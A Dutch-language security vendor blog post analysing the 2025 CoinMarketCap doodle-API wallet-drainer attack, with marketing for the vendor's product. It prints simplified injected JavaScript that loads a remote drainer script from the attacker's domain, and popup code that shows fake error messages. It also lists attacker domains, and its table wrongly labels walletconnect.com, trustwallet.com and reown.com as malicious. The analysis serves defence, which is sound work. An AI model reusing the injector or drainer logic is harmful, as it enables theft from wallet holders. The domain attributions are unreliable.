Skip to main content
Blog
Blog Attacks

CoinMarketCap Client-Side Aanval: Een Uitgebreide Analyse

Op 20 juni 2025 kreeg CoinMarketCap (CMC), een groot realtime crypto-dataplatform, te maken met een client-side beveiligingsincident.

Jun 23, 2025 Bijgewerkt Jul 20, 2026 11 min read
coin-market-cap-image-cover
Inhoudsopgave

TL;DR: CoinMarketCap doodle-API drainer: uitsplitsing van $43,266

  • First-party API's zijn supply chain: Vertrouwde first-party API's zijn de nieuwe supply chain. Het eigen /doodle/get-endpoint van CoinMarketCap leverde de wallet drainer af, dus elke CSP-allowlist en vendor-vragenlijst ter wereld liet hem al gewoon door.
  • $43,266 via een doodle: De Inferno Drainer-payload onttrok $43,266 aan 110 slachtoffers via een JSON-doodle van cdnkit[.]io, en de eerste kwaadaardige transactie vond plaats om 4:57 PM EST. cside kijkt naar scriptgedrag tijdens runtime, dus een doodle die om een wallet-goedkeuring vraagt slaat alarm.
  • Marketing-endpoints zijn aanvalsoppervlakken: Als een marketing-endpoint op je site HTML of JS kan injecteren, behandel dat vandaag als aanvalsoppervlak. Kun je het niet dichttimmeren, monitor dan wat het daadwerkelijk rendert en aanvraagt voordat de volgende popup een gebruiker vraagt om te ondertekenen.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

Geanimeerde GIF van de nep-walletverificatiepopup die tijdens de aanval aan bezoekers van CoinMarketCap werd getoond

Op 20 juni 2025 kreeg CoinMarketCap (CMC), een groot realtime crypto-dataplatform, te maken met een client-side beveiligingsincident. Een client-side aanval compromitteerde de frontend en verleidde gebruikers om hun crypto-wallets te koppelen via een geavanceerde phishingconstructie. Dit incident legde kritieke kwetsbaarheden in vertrouwde content delivery-paden bloot. Hoewel we niet weten of de API-respons werd gecompromitteerd via code van derden of door een interne misconfiguratie, was het resultaat duidelijk: uitvoering van client-side malware via een vertrouwde API.

Hieronder splitsen we de aanval op in twee niveaus: een overzichtelijke samenvatting voor niet-technische stakeholders en een gedetailleerde technische analyse voor beveiligingsprofessionals.

Overzichtelijke samenvatting: wat is er gebeurd?

Bron: https://x.com/DarkWebInformer/status/1936209452878745680

De popups maakten geen deel uit van de legitieme functies van CMC - ze waren het resultaat van een client-side aanval die de frontend van de website had gekaapt.

Timing van de aanval

Bron: https://x.com/blockaid_/status/1936199273701687702

Tweet met de tijdlijn van de CoinMarketCap-aanval, inclusief de eerste kwaadaardige transactie om 4:57 PM EST

Op 20 juni 2025 begonnen gebruikers die de homepage van CoinMarketCap bezochten onverwachte popups te zien. Deze popups, ontworpen om de huisstijl van CoinMarketCap na te bootsen, spoorden gebruikers aan om "hun wallets te verifiëren" om "volledige toegang" tot het platform te behouden.

Cruciale timing: de eerste kwaadaardige transactie die aan de aanval was gekoppeld, werd uitgevoerd om 4:57 PM EST - een tijdstip dat waarschijnlijk bewust was gekozen om samen te vallen met het einde van de werkdag voor engineers en beveiligingsteams, waardoor directe detectie werd vertraagd.

Belangrijkste inzichten voor niet-technische stakeholders

  • Hoe het begon: de aanval startte met een klein, ogenschijnlijk onschuldig element op de homepage van CMC: een "doodle"-afbeelding (een decoratieve afbeelding, zoals een feestelijk logo).
  • Wat er daarna gebeurde: deze doodle-afbeelding was gekoppeld aan een niet-vertrouwde bron (een JSON-bestand) die werd gehost op een extern domein (cdnkit[.]io). Deze bron bevatte verborgen code die een neppopup injecteerde in de browser van de gebruiker.
  • De oplichting: de popup zag er legitiem uit en gebruikte de kleuren, logo's en dringende taal van CMC om gebruikers te verleiden hun crypto-wallets te koppelen (bijv. MetaMask, Phantom). Eenmaal gekoppeld konden aanvallers geld stelen.
  • Waarom dit ernstig is: hoewel deze aanval vanuit het perspectief van de frontend leek op een supply chain-compromittering, omdat kwaadaardige code werd afgeleverd via een vertrouwd endpoint, kan de onderliggende oorzaak een directe wijziging van een first-party API-respons zijn geweest. De werkelijke oorsprong is onduidelijk zonder interne toegang. Vanuit het perspectief van de frontend laat dit echter zien hoe gevaarlijk het is wanneer vertrouwde datakanalen worden misbruikt.

Technische diepteanalyse: hoe de aanval werkte

Om de mechaniek van de aanval te begrijpen, splitsen we deze op in fasen, van de initiële trigger tot de uiteindelijke payload.

Fase 1: de doodle-afbeelding - initiële compromittering

De homepage van CoinMarketCap bevatte een "doodle"-sectie, een veelgebruikte functie voor feestdagen of evenementen (bijv. een speciaal logo voor Wereldhartdag). Deze doodle werd dynamisch geladen via een API-verzoek naar https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

De API retourneerde een JSON-bestand met metadata over actieve doodles, inclusief links naar afbeeldingsbestanden.

De kwaadaardige JSON-respons

De JSON-respons bevatte een verwijzing naar een bestand dat werd gehost op cdnkit[.]io:

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Deze URL wees niet naar een gewone afbeelding. In plaats daarvan retourneerde deze een ander JSON-bestand met daarin ingebedde JavaScript-code.

Fase 2: geïnjecteerd JavaScript - client-side uitvoering

De JSON van cdnkit[.]io bevatte een verborgen JavaScript-fragment dat was ontworpen om in de browser van de gebruiker te draaien. Hier volgt een vereenvoudigde uitsplitsing van de code:

// Check if the attack has already been injected
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modify the page to hide legitimate elements (e.g., the real CMC logo)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Fake title to mimic legitimacy
    logo.removeAttribute('data-text');
  }

  // Add CSS to style the fake popup
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Hides real elements
  document.head.appendChild(style);

  // Inject the malicious popup script
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Belangrijkste observaties

  • Client-side uitvoering: de code draait in de browser van de gebruiker, niet op de servers van CMC. Dit omzeilt server-side beveiligingstools.
  • Persistentiecontrole: de vlag window.cmcInjected zorgt ervoor dat het script slechts één keer per sessie wordt uitgevoerd, waardoor detectie wordt vermeden.
  • DOM-manipulatie: het script wijzigt de HTML/CSS van de pagina om legitieme elementen te verbergen (bijv. het echte CMC-logo) en bereidt de neppopup voor.

Fase 3: de neppopup - phishinginterface

Het geïnjecteerde script (popup[.]js, gehost op blockassets[.]app) creëerde een realistisch ogende overlay. Zo werkte het:

Structuur van de popup

De popup bootste het ontwerp van CMC na, met:

  • Een titel "Verify Your Wallet".
  • Een bericht dat aandrong op urgentie: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
  • Een knop "Connect Wallet" die qua stijl overeenkwam met de UI van CMC.

JavaScript-logica

Het script popup[.]js bevatte functies om:

  1. De popup weer te geven: een volledig scherm bedekkende overlay met het nepbericht toe te voegen.
  2. Gebruikersinteractie af te handelen: wanneer de gebruiker op "Connect Wallet" klikt, probeert het script verbinding te maken met een crypto-wallet (bijv. MetaMask, Phantom).
  3. Gegevens te exfiltreren: als er verbinding is gemaakt, communiceert het script met malafide domeinen (bijv. walletconnect[.]com, trustwallet[.]com) om walletgegevens of privésleutels te stelen.

Fase 4: domeinanalyse - verdachte infrastructuur

De aanval maakte gebruik van domeinen met duidelijke waarschuwingssignalen:

Domein Details
cdnkit[.]io Hostte de initiële kwaadaardige JSON. Domein geregistreerd in 2020; geen directe link met CMC.
blockassets[.]app Hostte popup[.]js en f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. WHOIS-gegevens van het domein tonen aan dat het niet eigendom is van CMC.
admin2[.]prod[.]coinmarketcap[.]supply Een verkeerd gespeld domein (supply in plaats van com) dat de infrastructuur van CMC nabootst. WHOIS toont dat het 2,677 dagen oud is (aangemaakt in 2018) en niet eigendom is van CMC.
walletconnect[.]com Verwijst door naar reown[.]com, een bekend oplichtersgerelateerd domein.
trustwallet[.]com Historisch gelinkt aan frauduleuze browserextensies (volgens gebruikersrecensies).

Fase 5: wallet drainer - technische payloads

Het script popup[.]js interacteerde met een grotere JavaScript-bibliotheek (gehost op blockassets[.]app) die functies bevatte voor:

  • Walletverbinding: het detecteren en verbinden met populaire wallets (MetaMask, Phantom, enz.).
  • Adaptieve aanvalslogica: het aanpassen van de phishingflow op basis van het gedetecteerde wallettype om beveiligingswaarschuwingen en mislukte handtekeningen te vermijden.
  • Transactieondertekening: gebruikers verleiden tot het ondertekenen van kwaadaardige transacties (bijv. het goedkeuren van token-overdrachten).
  • Foutafhandeling: het weergeven van nepfoutmeldingen (bijv. "Your wallet is blacklisted") om gebruikers onder druk te zetten het opnieuw te proberen met een andere wallet.

Voorbeeld codefragment

De functie customPopupOpen in popup[.]js bepaalde het gedrag van de popup:

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Show fake error message
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Show loading spinner to trick users
      modalFooter.classList.add("loading");
      resolve(); // Continue drainer script
    }
  });
};  

Onthullingen na de aanval

Bron: https://x.com/ReyXBF/status/1936276267797475526

Screenshot van het Inferno Drainer-controlepaneel met het gestolen bedrag en aantal slachtoffers van de CoinMarketCap-aanval

In de uren na het incident deelde een Telegram-kanaal genaamd "CommLeaks" screenshots die naar verluidt afkomstig waren van het controlepaneel van de aanvaller. Deze afbeeldingen, gekoppeld aan de "Inferno Drainer" (een goed gedocumenteerd kwaadaardig hulpmiddel voor het leegtrekken van crypto-wallets), onthulden:

  • Totaal gestolen bedrag: ongeveer $43,266 USD werd ontvreemd van 110 slachtoffers die interactie hadden met de nep-walletverificatiepopup.
  • Omvang van de aanval: het dashboard toonde het bereik van de aanval, waarbij honderden gebruikers werden verleid hun wallets te koppelen. Dit toont de effectiviteit van de social-engineeringtactieken (urgentie, realistische UI) in combinatie met de client-side compromittering.

Waarom deze aanval belangrijk is

De groeiende dreiging van third-party JS-aanvallen

Het incident bij CoinMarketCap volgt een patroon dat we vaker zien: aanvallen die vertrouwde content delivery-kanalen misbruiken - of het nu gaat om bibliotheken van derden of interne API's - om kwaadaardige scripts in de browsers van gebruikers te injecteren. Aanvallers richten zich steeds vaker op bibliotheken, CDN's en SaaS-tools die in websites zijn geïntegreerd. Bijvoorbeeld:

  • De Polyfill-aanval (februari 2024) waarbij kwaadaardige code werd verspreid via cdn[.]polyfill[.]io, een veelgebruikte service voor browsercompatibiliteit
  • Scripts van derden hebben vaak toegang tot gevoelige gebruikersgegevens (bijv. cookies, walletadressen), waardoor ze een aantrekkelijk doelwit zijn

Waarom traditionele verdedigingen tekortschieten:

  • Server-side beveiligingstools (firewalls, WAF's) kunnen de uitvoering van client-side code niet inspecteren.
  • Zelfs vertrouwde services (bijv. analyseplatforms) kunnen worden gecompromitteerd, zoals te zien was bij de doodle-aanval op CoinMarketCap.

Kwetsbaarheden in vertrouwde datapaden

Vanuit het perspectief van de client lijkt dit incident op een supply chain-aanval waarbij kwaadaardige inhoud via een vertrouwd pad werd afgeleverd, maar de onderliggende oorzaak kan een directe compromittering van de backend zijn geweest. Hoewel er nog geen bewijs is dat een derde partij werd gecompromitteerd, maakte de aanval gebruik van een vertrouwd API-endpoint (/doodle/get) om kwaadaardige code af te leveren. Dat betekent dat zelfs first-party infrastructuur, als deze verkeerd is geconfigureerd of gecompromitteerd, onbedoeld een distributiekanaal voor malware kan worden, net zoals een besmette bibliotheek of CDN dat zou doen. Verduidelijking: was dit werkelijk een supply chain-aanval?

We weten nog niet of een third-party afhankelijkheid werd gecompromitteerd, of dat de /doodle/get API intern werd gewijzigd. Vanuit het perspectief van de frontend gedroeg het zich echter als een supply chain-aanval, omdat kwaadaardige inhoud werd afgeleverd via een vertrouwde service - waardoor de impliciete vertrouwensketen werd verbroken, ongeacht de oorsprong.

Client-side risico's

Client-side aanvallen (code die wordt uitgevoerd in de browser van de gebruiker) zijn bijzonder gevaarlijk zonder client-side bescherming, omdat:

  • Ze server-side beveiligingstools omzeilen (bijv. firewalls, inbraakdetectiesystemen).
  • Ze het vertrouwen van gebruikers in een bekend platform (CMC) uitbuiten.
  • Ze zich snel kunnen verspreiden, omdat de kwaadaardige code bij elk paginabezoek wordt geladen.

Hoe u beschermd blijft

Voor gebruikers

  • Vermijd ongevraagde popups: koppel uw wallet nooit via een popup, zelfs niet op vertrouwde sites. Legitieme platforms vragen niet om walletverbindingen via onverwachte popups.
  • Gebruik adblockers: tools zoals uBlock Origin of AdGuard kunnen voorkomen dat kwaadaardige scripts worden geladen.
  • Controleer domeinen: let op typefouten in URL's (bijv. coinmarketcap[.]supply versus coinmarketcap[.]com).
  • Controleer elke goedkeuring nauwkeurig: lees vóór het ondertekenen de details in uw wallet zorgvuldig. Wees extra voorzichtig bij verzoeken om brede machtigingen.

Voor platforms (bijv. CMC)

  • Controleer integraties van derden: beoordeel regelmatig alle externe bronnen (afbeeldingen, scripts, API's) die op uw platform worden geladen.
  • Subresource Integrity (SRI): SRI's kunnen worden gebruikt om scripts aan hashes te koppelen (bijv. ``). In de meeste gevallen is SRI echter geen optie vanwege het sterk dynamische gedrag van JavaScript. Bovendien geeft SRI geen waarschuwing bij overtredingen, waardoor het lastig te gebruiken is in productie.
  • Bewaak client-side activiteit: gebruik tools zoals Sentry of New Relic om onverwachte JavaScript-uitvoering te detecteren.

Gebruik monitoringtools voor third-party JS: scripts van derden zijn een essentieel onderdeel van de moderne web supply chain, maar brengen ook risico's met zich mee. Kwaadaardige code die via bibliotheken van derden wordt geïnjecteerd (bijv. analysetools, advertentienetwerken of polyfills) kan gebruikersgegevens compromitteren of aanvallen zoals het CoinMarketCap-incident mogelijk maken

Hoe cside kan helpen: platforms zoals cside zijn gespecialiseerd in het monitoren, beveiligen en optimaliseren van third-party JavaScript. Hun diensten omvatten:

  • Realtime payload-analyse: volg elk verzoek om kwaadaardige wijzigingen in scripts van derden te detecteren
  • Detectie van supply chain-aanvallen: identificeer gecompromitteerde afhankelijkheden (bijv. het incident met cdn[.]polyfill[.]io van februari 2024, waarbij kwaadaardige code in duizenden sites werd geïnjecteerd)
  • PCI-complianceondersteuning: zorg ervoor dat integraties van derden voldoen aan de beveiligingsnormen voor sectoren die gevoelige gegevens verwerken

Concrete stap: maak een gratis account aan op cside.com om te beginnen met het monitoren van uw third-party scripts en uzelf te beschermen tegen supply chain-kwetsbaarheden.

Conclusie

Het incident bij CoinMarketCap laat zien hoeveel schade een klein, over het hoofd gezien element zoals een doodle-afbeelding kan aanrichten. Aanvallers gebruikten het vertrouwen dat het platform bij zijn gebruikers had om geld te stelen. Naarmate de adoptie van crypto groeit, moeten platforms hun content delivery-paden blijven beveiligen en moeten gebruikers elk verzoek om een walletverbinding kritisch bekijken. Voor beveiligingsteams is dit incident een pleidooi voor supply chain-risicobeheer en client-side beveiliging. Voor gebruikers is het een herinnering om alert te blijven: zelfs vertrouwde platforms kunnen slachtoffer worden van phishing.

Speciale dank aan onze vriend en gastblogbijdrager, Jack LaFond.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

Boek een persoonlijke demo om te zien:

Hoe je in 1 dag voldoet aan PCI DSS-vereisten 6.4.3 en 11.6.1
Waarom scripts van derden een beveiligingsrisico zijn voor jou en je bezoekers
Hoe je privacy- en toestemmingslekken (AVG, CCPA) bij elke derde partij monitort
Hoe je misbruik van aanmeldingen, account sharing en chargeback-fraude stopt met device intelligence
Hoe je AI-agents en bots die je site bereiken in realtime detecteert en beheerst

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip